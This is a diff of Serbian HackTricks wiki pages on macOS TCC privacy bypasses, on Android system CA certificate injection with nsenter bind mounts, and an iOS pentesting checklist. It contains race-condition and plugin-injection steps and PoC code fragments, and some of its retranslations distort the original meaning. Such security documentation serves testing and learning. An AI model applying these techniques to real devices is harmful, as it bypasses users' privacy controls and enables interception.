@@ -172,18 +172,18 @@ Bilo je moguće dodati karantin atribut za "Library", pozvati XPC servis **`com. ### CVE-2023-38571 - Muzika & TV -**`Muzika`** ima zanimljivu funkciju: Kada se pokrene, ona će **uvoziti** fajlove koji su prevučeni u **`~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized`** u korisnikov "medijski biblioteku". Osim toga, poziva nešto poput: **`rename(a, b);`** gde su `a` i `b`: +**`Muzika`** ima zanimljivu funkciju: Kada se pokrene, uvešće datoteke koje su spuštene u **`~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized`** u korisnikov "medijski biblioteku". Osim toga, poziva nešto poput: **`rename(a, b);`** gde su `a` i `b`: -* `a = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/mojfajl.mp3"` -* `b = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/Nije dodato.localized/2023-09-25 11.06.28/mojfajl.mp3` +* `a = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/mojafajl.mp3"` +* `b = "~/Muzika/Muzika/Media.localized/Automatski dodaj u Muziku.localized/Nije dodato.localized/2023-09-25 11.06.28/mojafajl.mp3` -Ova **`rename(a, b);`** funkcionalnost je ranjiva na **Trku stanja**, jer je moguće staviti lažnu **TCC.db** datoteku unutar foldera `Automatski dodaj u Muziku.localized`, a zatim kada se kreira novi folder(b), kopirati datoteku, obrisati je, i usmeriti je ka **`~/Biblioteka/Application Support/com.apple.TCC`**/. +Ova **`rename(a, b);`** funkcionalnost je ranjiva na **Trku stanja**, jer je moguće staviti lažnu **TCC.db** datoteku unutar foldera `Automatski dodaj u Muziku.localized`, a zatim kada se kreira novi folder(b) da se kopira datoteka, obriše i usmeri ka **`~/Biblioteka/Podrška Aplikacije/com.apple.TCC`**/. ### SQLITE\_SQLLOG\_DIR - CVE-2023-32422 -Ako je **`SQLITE_SQLLOG_DIR="putanja/folder"`** to u osnovi znači da će **svaka otvorena baza podataka biti kopirana na tu putanju**. U ovom CVE-u, ova kontrola je zloupotrebljena kako bi se **pisalo** unutar **SQLite baze podataka** koja će biti **otvorena od strane procesa sa FDA bazom podataka TCC**, a zatim zloupotrebiti **`SQLITE_SQLLOG_DIR`** sa **simboličkom vezom u nazivu fajla** tako da kada se ta baza podataka **otvori**, korisnikova **TCC.db će biti prebrisana** otvorenom bazom. +Ako je **`SQLITE_SQLLOG_DIR="putanja/folder"`** to u osnovi znači da će **svaka otvorena baza podataka biti kopirana na tu putanju**. U ovom CVE-u, ova kontrola je zloupotrebljena kako bi se **pisalo** unutar **SQLite baze podataka** koja će biti **otvorena od strane procesa sa FDA bazom podataka TCC**, a zatim zloupotrebljena **`SQLITE_SQLLOG_DIR`** sa **simboličkom vezom u imenu datoteke** tako da kada se ta baza podataka **otvori**, korisnikova **TCC.db će biti prebrisana** otvorenom bazom. -**Više informacija** [**u analizi**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i** [**u prezentaciji**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s). +**Više informacija** [**u objašnjenju**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **i** [**u predavanju**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s). ### **SQLITE\_AUTO\_TRACE** @@ -196,34 +196,34 @@ launchctl setenv SQLITE_AUTO_TRACE 1 ``` ### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407 -Ova **env promenljiva se koristi od strane `Metal` okvira** koji je zavisnost za različite programe, posebno `Music`, koji ima FDA. +Ova **env promenljiva se koristi od strane `Metal` okvira** koji je zavistan od različitih programa, najznačajnije `Music`, koji ima FDA. Postavljanjem sledećeg: `MTL_DUMP_PIPELINES_TO_JSON_FILE="putanja/naziv"`. Ako je `putanja` validan direktorijum, bag će biti aktiviran i možemo koristiti `fs_usage` da vidimo šta se dešava u programu: * biće `otvoren()` fajl nazvan `putanja/.dat.nosyncXXXX.XXXXXX` (X je nasumičan) -* jedan ili više `write()`-ova će upisati sadržaj u fajl (mi ne kontrolišemo ovo) +* jedan ili više `write()` će upisati sadržaj u fajl (mi ne kontrolišemo ovo) * `putanja/.dat.nosyncXXXX.XXXXXX` će biti preimenovan u `putanja/naziv` To je privremeni upis fajla, praćen **`preimenovanjem(stari, novi)`** **što nije sigurno.** -Nije sigurno jer mora **da reši stare i nove putanje odvojeno**, što može potrajati neko vreme i može biti ranjivo na Trku Stanja. Za više informacija možete proveriti `xnu` funkciju `renameat_internal()`. +Nije sigurno jer mora **da reši stare i nove putanje odvojeno**, što može potrajati i biti ranjivo na Trku Stanja. Za više informacija možete proveriti `xnu` funkciju `renameat_internal()`. {% hint style="danger" %} Dakle, ako privilegovani proces preimenuje iz foldera koji kontrolišete, možete dobiti RCE i naterati ga da pristupi drugom fajlu ili, kao u ovom CVE-u, otvoriti fajl koji je privilegovana aplikacija kreirala i sačuvati FD. -Ako preimenovanje pristupi folderu koji kontrolišete, dok ste modifikovali izvorni fajl ili imate FD do njega, promenite destinacioni fajl (ili folder) da pokazuje na simboličnu vezu, tako da možete pisati kad god želite. +Ako preimenovanje pristupi folderu koji kontrolišete, dok ste modifikovali izvorni fajl ili imate FD do njega, promenite destinacioni fajl (ili folder) da pokazuje na simbolički link, tako da možete pisati kad god želite. {% endhint %} Ovo je bio napad u CVE-u: Na primer, da prepišemo korisnikov `TCC.db`, možemo: -* kreirati `/Users/hacker/nasalink` da pokazuje na `/Users/hacker/Library/Application Support/com.apple.TCC/` +* kreirati `/Users/hacker/ourlink` da pokazuje na `/Users/hacker/Library/Application Support/com.apple.TCC/` * kreirati direktorijum `/Users/hacker/tmp/` * postaviti `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` * aktivirati bag pokretanjem `Music` sa ovom env varijablom * uhvatiti `open()` `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X je nasumičan) * ovde takođe `otvoriti()` ovaj fajl za pisanje, i zadržati file deskriptor -* atomički zameniti `/Users/hacker/tmp` sa `/Users/hacker/nasalink` **u petlji** -* ovo radimo da bismo maksimizirali šanse za uspeh jer je prozor trke prilično uzak, ali gubitak trke ima zanemarljive posledice +* atomički zameniti `/Users/hacker/tmp` sa `/Users/hacker/ourlink` **u petlji** +* ovo radimo da bismo maksimizirali šanse za uspeh jer je prozor trke prilično kratak, ali gubitak trke ima zanemarljive posledice * sačekati malo * testirati da li smo imali sreće * ako ne, ponovo pokrenuti od početka @@ -236,7 +236,7 @@ Sada, ako pokušate da koristite env promenljivu `MTL_DUMP_PIPELINES_TO_JSON_FIL ### Apple Remote Desktop -Kao root možete omogućiti ovu uslugu i **ARD agent će imati pun pristup disku** što korisnik može zloupotrebiti da ga natera da kopira novu **TCC korisničku bazu podataka**. +Kao root možete omogućiti ovu uslugu i **ARD agent će imati pun pristup disku** što korisnik može zloupotrebiti da natera da kopira novu **TCC korisničku bazu podataka**. ## Preko **NFSHomeDirectory** @@ -275,21 +275,21 @@ Postoje različite tehnike za ubacivanje koda unutar procesa i zloupotrebu njego [macos-proces-abuse](../../../macos-proces-abuse/) {% endcontent-ref %} -Osim toga, najčešće ubacivanje procesa zaobići TCC je pronađeno putem **dodataka (učitavanje biblioteke)**.\ -Dodaci su dodatni kod obično u obliku biblioteka ili plist, koji će biti **učitani od strane glavne aplikacije** i izvršavati se pod njenim kontekstom. Stoga, ako glavna aplikacija ima pristup TCC ograničenim fajlovima (putem odobrenih dozvola ili privilegija), **prilagođeni kod će takođe imati pristup**. +Osim toga, najčešće ubacivanje procesa zaobiđući TCC je putem **dodataka (učitavanje biblioteke)**.\ +Dodaci su dodatni kod obično u obliku biblioteka ili plist-a, koji će biti **učitani od strane glavne aplikacije** i izvršavati se pod njenim kontekstom. Stoga, ako glavna aplikacija ima pristup TCC ograničenim fajlovima (putem odobrenih dozvola ili privilegija), **prilagođeni kod će takođe imati pristup**. ### CVE-2020-27937 - Directory Utility -Aplikacija `/System/Library/CoreServices/Applications/Directory Utility.app` imala je privilegiju **`kTCCServiceSystemPolicySysAdminFiles`**, učitane dodatke sa **`.daplug`** ekstenzijom i **nije imala ojačan** runtime. +Aplikacija `/System/Library/CoreServices/Applications/Directory Utility.app` imala je privilegiju **`kTCCServiceSystemPolicySysAdminFiles`**, učitavala je dodatke sa ekstenzijom **`.daplug`** i **nije imala ojačan** runtime. -Da bi se oružao ovaj CVE, **`NFSHomeDirectory`** je **promenjen** (zloupotrebljavajući prethodnu privilegiju) kako bi se moglo **preuzeti korisničku TCC bazu podataka** zaobići TCC. +Da bi se iskoristio ovaj CVE, **`NFSHomeDirectory`** je **promenjen** (zloupotrebljavajući prethodnu privilegiju) kako bi se moglo **preuzeti korisničku TCC bazu podataka** zaobišavajući TCC. Za više informacija pogledajte [**originalni izveštaj**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/). ### CVE-2020-29621 - Coreaudiod Binarni fajl **`/usr/sbin/coreaudiod`** imao je dozvole `com.apple.security.cs.disable-library-validation` i `com.apple.private.tcc.manager`. Prva dozvola omogućavala je **ubacivanje koda**, a druga mu je dala pristup za **upravljanje TCC**. -Ovaj binarni fajl je omogućavao učitavanje **dodatnih plug-ina** iz foldera `/Library/Audio/Plug-Ins/HAL`. Stoga je bilo moguće **učitati plugin i zloupotrebiti TCC dozvole** pomoću ovog PoC-a: +Ovaj binarni fajl je omogućavao učitavanje **dodatnih plug-ina** iz foldera `/Library/Audio/Plug-Ins/HAL`. Stoga je bilo moguće **učitati dodatak i zloupotrebiti TCC dozvole** pomoću ovog PoC-a: ```objectivec #import #import @@ -316,13 +316,13 @@ add_tcc_entry(); NSLog(@"[+] Exploitation finished..."); exit(0); ``` -Za više informacija proverite [**originalni izveštaj**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/). +Za više informacija pogledajte [**originalni izveštaj**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/). ### Dodaci sloja apstrakcije uređaja (DAL) -Sistemski programi koji otvaraju video strim preko Core Media I/O (aplikacije sa **`kTCCServiceCamera`**) učitavaju **u proces ove dodatke** smeštene u `/Library/CoreMediaIO/Plug-Ins/DAL` (neograničeno od strane SIP-a). +Sistemski programi koji otvaraju video strim preko Core Media I/O (aplikacije sa **`kTCCServiceCamera`**) učitavaju **u proces ove dodatke** smeštene u `/Library/CoreMediaIO/Plug-Ins/DAL` (neograničeno SIP-om). -Dovoljno je samo sačuvati biblioteku sa uobičajenim **konstruktorom** kako bi se uspešno izvršio **ubacivanje koda**. +Dovoljno je samo sačuvati tamo biblioteku sa uobičajenim **konstruktorom** da bi se uspešno izvršio **ubacivanje koda**. Nekoliko Apple aplikacija je bilo ranjivo na ovo. @@ -364,7 +364,7 @@ Binarni fajl `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` imao je Telegram je imao dozvole **`com.apple.security.cs.allow-dyld-environment-variables`** i **`com.apple.security.cs.disable-library-validation`**, tako da je bilo moguće zloupotrebiti ih kako bi se **dobio pristup njenim dozvolama** poput snimanja kamerom. Možete [**pronaći payload u analizi**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). -Primetite kako se koristi env promenljiva da bi se učitao library, **prilagođeni plist** je kreiran da ubaci ovaj library i **`launchctl`** je korišćen da ga pokrene: +Primetite kako se koristi env promenljiva da bi se učitao library, kreiran je **custom plist** da bi se ubacio ovaj library i **`launchctl`** je korišćen da ga pokrene: ```xml @@ -400,7 +400,7 @@ Moguće je pozvati **`open`** čak i dok je sandbox aktiviran ### Terminalni skriptovi -Često je uobičajeno dati terminalu **Pristup punom disku (FDA)**, barem na računarima koje koriste tehničari. I moguće je pozvati **`.terminal`** skriptove koristeći ga. +Često je uobičajeno dati terminalu **Pristup punom disku (FDA)**, barem na računarima koje koriste tehničari. I moguće je pozvati skriptove **`.terminal`** koristeći ga. **`.terminal`** skriptovi su plist fajlovi poput ovog sa komandom za izvršavanje u ključu **`CommandString`**: ```xml @@ -420,7 +420,7 @@ Moguće je pozvati **`open`** čak i dok je sandbox aktiviran ``` -Aplikacija bi mogla napisati terminalni skriptu na lokaciji poput /tmp i pokrenuti je sa komandom: +Aplikacija bi mogla napisati terminalni skriptu na lokaciji poput /tmp i pokrenuti je sa komandom poput: ```objectivec // Write plist in /tmp/tcc.terminal [...] @@ -433,10 +433,10 @@ exploit_location]; task.standardOutput = pipe; ``` ## Montiranjem -### CVE-2020-9771 - mount\_apfs TCC zaobilaženje i eskalacija privilegija +### CVE-2020-9771 - TCC zaobilazak i eskalacija privilegija putem montiranja `mount_apfs` -**Bilo koji korisnik** (čak i neprivilegovani) može kreirati i montirati snimak vremenske mašine i **pristupiti SVIM datotekama** tog snimka.\ -**Jedina privilegija** potrebna je za aplikaciju koja se koristi (kao što je `Terminal`) da ima **Pristup celom disku** (FDA) (`kTCCServiceSystemPolicyAllfiles`) koja mora biti odobrena od strane administratora. +**Bilo koji korisnik** (čak i neprivilegovani) može kreirati i montirati snapshot vremenske mašine i **pristupiti SVIM datotekama** tog snimka.\ +Jedino što je potrebno je da aplikacija koja se koristi (kao što je `Terminal`) ima **Pristup celom disku** (Full Disk Access - FDA) (`kTCCServiceSystemPolicyAllfiles`) koji mora biti odobren od strane administratora. {% code overflow="wrap" %} ```bash @@ -493,8 +493,8 @@ Alat **`/usr/sbin/asr`** omogućavao je kopiranje celog diska i montiranje na dr ### Lokacijske usluge -Postoji treća TCC baza podataka u **`/var/db/locationd/clients.plist`** koja označava klijente koji imaju dozvolu da **pristupe lokacijskim uslugama**.\ -Folder **`/var/db/locationd/` nije bio zaštićen od DMG montiranja** pa je bilo moguće montirati naš plist. +Postoji treća TCC baza podataka u **`/var/db/locationd/clients.plist`** koja označava klijente koji su dozvoljeni da **pristupe lokacijskim uslugama**.\ +Folder **`/var/db/locationd/` nije bio zaštićen od montiranja DMG-a** pa je bilo moguće montirati naš plist. ## Preko aplikacija koje se pokreću pri pokretanju sistema @@ -512,11 +512,11 @@ U nekoliko situacija, fajlovi će čuvati osetljive informacije poput email adre Ovo više ne funkcioniše, ali je [**funkcionisalo u prošlosti**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:** -
+
Drugi način korišćenjem [**CoreGraphics događaja**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf): -
+
## Reference diff --git a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index 97fdce1cd..95ce7ce8d 100644 --- a/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -6,9 +6,9 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -20,7 +20,7 @@ Prvo morate preuzeti Der sertifikat sa Burp-a. To možete uraditi u _**Proxy**_ ![](<../../.gitbook/assets/image (367).png>) -**Izvezite sertifikat u Der formatu** i pretvorite ga u oblik koji će **Android** moći da **razume.** Imajte na umu da **kako biste konfigurisali Burp sertifikat na Android mašini u AVD-u** morate **pokrenuti** ovu mašinu **sa** opcijom **`-writable-system`**.\ +**Izvezite sertifikat u Der formatu** i pretvorite ga u oblik koji će **Android** moći **da razume.** Imajte na umu da **da biste konfigurisali Burp sertifikat na Android mašini u AVD-u** morate **pokrenuti** ovu mašinu **sa** opcijom **`-writable-system`**.\ Na primer, možete je pokrenuti ovako: {% code overflow="wrap" %} @@ -29,7 +29,7 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht ``` {% endcode %} -Zatim, da **konfigurišete burp-ov sertifikat uradite**: +Zatim, da **konfigurišete sertifikat Burp**, uradite sledeće: {% code overflow="wrap" %} ```bash @@ -52,31 +52,31 @@ Ako ste **rutirali uređaj pomoću Magiska** (možda emulator), i ne možete pra Objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=qQicUW0svB8) trebate: -1. **Instalirati CA sertifikat**: Samo **prevucite i otpustite** DER Burp sertifikat **menjajući ekstenziju** u `.crt` na mobilnom uređaju tako da bude smešten u fascikli za preuzimanje i idite na `Instaliraj sertifikat` -> `CA sertifikat` +1. **Instalirati CA sertifikat**: Samo **prevucite i otpustite** DER Burp sertifikat **menjajući ekstenziju** u `.crt` na mobilnom uređaju tako da bude smešten u fascikli "Preuzimanja" i idite na `Instaliraj sertifikat` -> `CA sertifikat` -
+
* Proverite da li je sertifikat pravilno smešten odlaskom na `Poverljivi podaci` -> `KORISNIK` -
+
-2. **Učinite ga sistemski poverljivim**: Preuzmite Magisk modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` datoteka), **prevucite i otpustite** je na telefon, idite u Magisk aplikaciju na telefonu u odeljku **`Moduli`**, kliknite na **`Instaliraj sa skladišta`**, izaberite `.zip` modul i jednom kada se instalira, **ponovo pokrenite** telefon: +2. **Učiniti ga sistemski poverljivim**: Preuzmite Magisk modul [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (`.zip` datoteka), **prevucite i otpustite** je na telefon, idite u Magisk aplikaciju na telefonu u odeljku **`Moduli`**, kliknite na **`Instaliraj sa skladišta`**, izaberite `.zip` modul i jednom kada se instalira, **ponovo pokrenite** telefon: -
+
* Nakon ponovnog pokretanja, idite na `Poverljivi podaci` -> `SISTEM` i proverite da li je Postswigger sertifikat tamo -
+
## Nakon Android 14 -U najnovijem Android 14 izdanju, primećen je značajan pomak u rukovanju sistemski poverljivim sertifikatima sertifikacionih tela (CA). Ranije su ovi sertifikati bili smešteni u **`/system/etc/security/cacerts/`**, dostupni i modifikovani od strane korisnika sa administratorskim privilegijama, što je omogućavalo trenutnu primenu širom sistema. Međutim, sa Androidom 14, lokacija skladištenja je premeštena u **`/apex/com.android.conscrypt/cacerts`**, direktorijum unutar putanje **`/apex`**, koji je po prirodi nepromenljiv. +U najnovijem Android 14 izdanju, primećen je značajan pomak u rukovanju sistemski poverljivim sertifikatima sertifikacionih tela (CA). Ranije su ovi sertifikati bili smešteni u **`/system/etc/security/cacerts/`**, pristupačni i modifikovani od strane korisnika sa administratorskim privilegijama, što je omogućavalo trenutnu primenu širom sistema. Međutim, sa Androidom 14, lokacija skladištenja je premeštena u **`/apex/com.android.conscrypt/cacerts`**, direktorijum unutar putanje **`/apex`**, koji je po prirodi nepromenljiv. -Pokušaji ponovnog montiranja **APEX cacerts putanje** kao zapisive se susreću sa neuspehom, jer sistem ne dozvoljava takve operacije. Čak i pokušaji demontiranja ili preklapanja direktorijuma sa privremenim fajl sistemom (tmpfs) ne zaobilaze nepromenljivost; aplikacije i dalje pristupaju originalnim podacima sertifikata bez obzira na promene na nivou fajl sistema. Ova otpornost je rezultat konfiguracije montiranja **`/apex`** sa PRIVATNOM propagacijom, osiguravajući da bilo kakve modifikacije unutar direktorijuma **`/apex`** ne utiču na druge procese. +Pokušaji ponovnog montiranja **APEX cacerts putanje** kao zapisive su neuspešni, jer sistem ne dozvoljava takve operacije. Čak i pokušaji demontiranja ili preklapanja direktorijuma privremenim fajl sistemom (tmpfs) ne zaobilaze nepromenljivost; aplikacije i dalje pristupaju originalnim podacima sertifikata bez obzira na promene na nivou fajl sistema. Ova otpornost je rezultat konfiguracije montiranja **`/apex`** sa PRIVATNOM propagacijom, osiguravajući da bilo kakve modifikacije unutar direktorijuma **`/apex`** ne utiču na druge procese. -Inicijalizacija Androida uključuje `init` proces, koji, prilikom pokretanja operativnog sistema, takođe pokreće Zygote proces. Ovaj proces je odgovoran za pokretanje procesa aplikacija sa novim montažnim prostorom koji uključuje privatno montiranje **`/apex`**, izolujući promene u ovom direktorijumu od drugih procesa. +Inicijalizacija Androida uključuje proces `init`, koji, prilikom pokretanja operativnog sistema, takođe pokreće proces Zygote. Ovaj proces je odgovoran za pokretanje procesa aplikacija sa novim montažnim prostorom koji uključuje privatno montiranje **`/apex`**, čime se izoluje promene u ovom direktorijumu od drugih procesa. -Ipak, postoji način za one koji trebaju da modifikuju sistemski poverljive CA sertifikate unutar direktorijuma **`/apex`**. To uključuje ručno ponovno montiranje **`/apex`** kako bi se uklonila PRIVATNA propagacija, čime se čini zapisivim. Proces uključuje kopiranje sadržaja **`/apex/com.android.conscrypt`** na drugu lokaciju, demontiranje direktorijuma **`/apex/com.android.conscrypt`** kako bi se eliminisalo ograničenje samo za čitanje, a zatim vraćanje sadržaja na originalnu lokaciju unutar **`/apex`**. Ovaj pristup zahteva brzu akciju kako bi se izbegli padovi sistema. Da bi se osigurala sistematska primena ovih promena, preporučuje se ponovno pokretanje `system_server`, što efikasno ponovo pokreće sve aplikacije i dovodi sistem u konzistentno stanje. +Ipak, postoji način za one koji trebaju da modifikuju sistemski poverljive CA sertifikate unutar direktorijuma **`/apex`**. To uključuje ručno ponovno montiranje **`/apex`** kako bi se uklonila PRIVATNA propagacija, čime se čini zapisivim. Proces uključuje kopiranje sadržaja **`/apex/com.android.conscrypt`** na drugu lokaciju, demontiranje direktorijuma **`/apex/com.android.conscrypt`** kako bi se uklonila restrikcija samo za čitanje, a zatim vraćanje sadržaja na originalnu lokaciju unutar **`/apex`**. Ovaj pristup zahteva brzu akciju kako bi se izbegli padovi sistema. Da bi se osigurala sistemski široka primena ovih promena, preporučuje se ponovno pokretanje `system_server`, što efikasno restartuje sve aplikacije i dovodi sistem u konzistentno stanje. ```bash # Create a separate temp directory, to hold the current certificates # Otherwise, when we add the mount we can't read the current certs anymore. @@ -136,22 +136,22 @@ echo "System certificate injected" ``` ### Bind-montiranje putem NSEnter -1. **Postavljanje direktorijuma za pisanje**: Prvo se uspostavlja direktorijum za pisanje montiranjem `tmpfs` preko postojećeg direktorijuma za sistemske sertifikate koji nisu APEX. Ovo se postiže sledećom komandom: +1. **Postavljanje pisivog direktorijuma**: Prvo se uspostavlja pisiv direktorijum montiranjem `tmpfs` preko postojećeg direktorijuma sertifikata sistema koji nije APEX. To se postiže sledećom komandom: ```bash mount -t tmpfs tmpfs /system/etc/security/cacerts ``` 2. **Priprema CA sertifikata**: Nakon podešavanja upisivog direktorijuma, CA sertifikati koje nameravate koristiti treba kopirati u ovaj direktorijum. To može uključivati kopiranje podrazumevanih sertifikata iz `/apex/com.android.conscrypt/cacerts/`. Bitno je prilagoditi dozvole i SELinux oznake ovih sertifikata prema potrebi. -3. **Bind montiranje za Zygote**: Korišćenjem `nsenter`, ulazi se u Zygote-ov namespace za montiranje. Zygote, kao proces odgovoran za pokretanje Android aplikacija, zahteva ovaj korak kako bi se osiguralo da sve aplikacije pokrenute od tada koriste novo konfigurisane CA sertifikate. Komanda koja se koristi je: +3. **Bind montiranje za Zygote**: Korišćenjem `nsenter`, ulazi se u Zygote-ov mount namespace. Zygote, kao proces odgovoran za pokretanje Android aplikacija, zahteva ovaj korak kako bi se osiguralo da sve aplikacije pokrenute od tada koriste novo konfigurisane CA sertifikate. Komanda koja se koristi je: ```bash nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -Ovo osigurava da će svaka nova pokrenuta aplikacija poštovati ažurirani CA sertifikat setup. +Ovo osigurava da će svaka nova aplikacija koja se pokrene poštovati ažurirani CA sertifikat setup. 4. **Primenjivanje promena na pokrenute aplikacije**: Da biste primenili promene na već pokrenute aplikacije, ponovo se koristi `nsenter` da biste pojedinačno ušli u namespace svake aplikacije i izvršili sličan bind mount. Neophodna komanda je: ```bash nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts ``` -5. **Alternativni pristup - Soft Reboot**: Alternativna metoda uključuje izvođenje bind mount-a na `init` procesu (PID 1), praćeno soft reboot-om operativnog sistema pomoću `stop && start` komandi. Ovaj pristup bi proširio promene preko svih namespace-ova, izbegavajući potrebu da se pojedinačno adresiraju svaka pokrenuta aplikacija. Međutim, ovaj metod je generalno manje preferiran zbog neugodnosti ponovnog pokretanja. +5. **Alternativni pristup - Soft Reboot**: Alternativna metoda uključuje izvođenje bind mounta na `init` procesu (PID 1), praćeno soft restartovanjem operativnog sistema pomoću `stop && start` komandi. Ovaj pristup bi proširio promene preko svih namespace-ova, izbegavajući potrebu da se pojedinačno adresiraju svaka pokrenuta aplikacija. Međutim, ovaj metod je generalno manje preferiran zbog neugodnosti restartovanja. ## Reference @@ -163,10 +163,10 @@ nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) -* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index ac76e18c8..968de7e18 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -1,6 +1,6 @@ # iOS Pentesting Checklist -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u: **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -34,7 +34,7 @@ Drugi načini podrške HackTricks-u: * [ ] Pročitajte [**iOS Osnove**](ios-pentesting/ios-basics.md) * [ ] Pripremite svoje okruženje čitajući [**iOS Testno Okruženje**](ios-pentesting/ios-testing-environment.md) -* [ ] Pročitajte sve sekcije [**iOS Početna Analiza**](ios-pentesting/#initial-analysis) da biste naučili uobičajene radnje za testiranje sigurnosti iOS aplikacije +* [ ] Pročitajte sve sekcije [**iOS Početna Analiza**](ios-pentesting/#initial-analysis) da biste naučili uobičajene radnje za testiranje penetracije iOS aplikacije ### Skladištenje Podataka @@ -47,22 +47,22 @@ Drugi načini podrške HackTricks-u: * [ ] [**Binarni kolačići**](ios-pentesting/#cookies) mogu skladištiti osetljive informacije * [ ] [**Podaci keša**](ios-pentesting/#cache) mogu skladištiti osetljive informacije * [ ] [**Automatski snimci**](ios-pentesting/#snapshots) mogu sačuvati vizuelno osetljive informacije -* [ ] [**Keychain**](ios-pentesting/#keychain) se obično koristi za skladištenje osetljivih informacija koje mogu ostati prilikom preprodaje telefona. +* [ ] [**Keychain**](ios-pentesting/#keychain) se obično koristi za skladištenje osetljivih informacija koje mogu ostati prilikom ponovne prodaje telefona. * [ ] Ukratko, samo **proverite da li aplikacija čuva osetljive informacije u fajl sistemu** ### Tastature -* [ ] Da li aplikacija **dozvoljava korišćenje prilagođenih tastatura**? +* [ ] Da li aplikacija dozvoljava korišćenje [**prilagođenih tastatura**](ios-pentesting/#custom-keyboards-keyboard-cache)? * [ ] Proverite da li su osetljive informacije sačuvane u [**fajlovima keša tastature**](ios-pentesting/#custom-keyboards-keyboard-cache) ### **Logovi** -* [ ] Proverite da li se [**sačuvavaju osetljive informacije u logovima**](ios-pentesting/#logs) +* [ ] Proverite da li se [**osetljive informacije beleže**](ios-pentesting/#logs) -### Bekapi +### Bekapovi -* [ ] 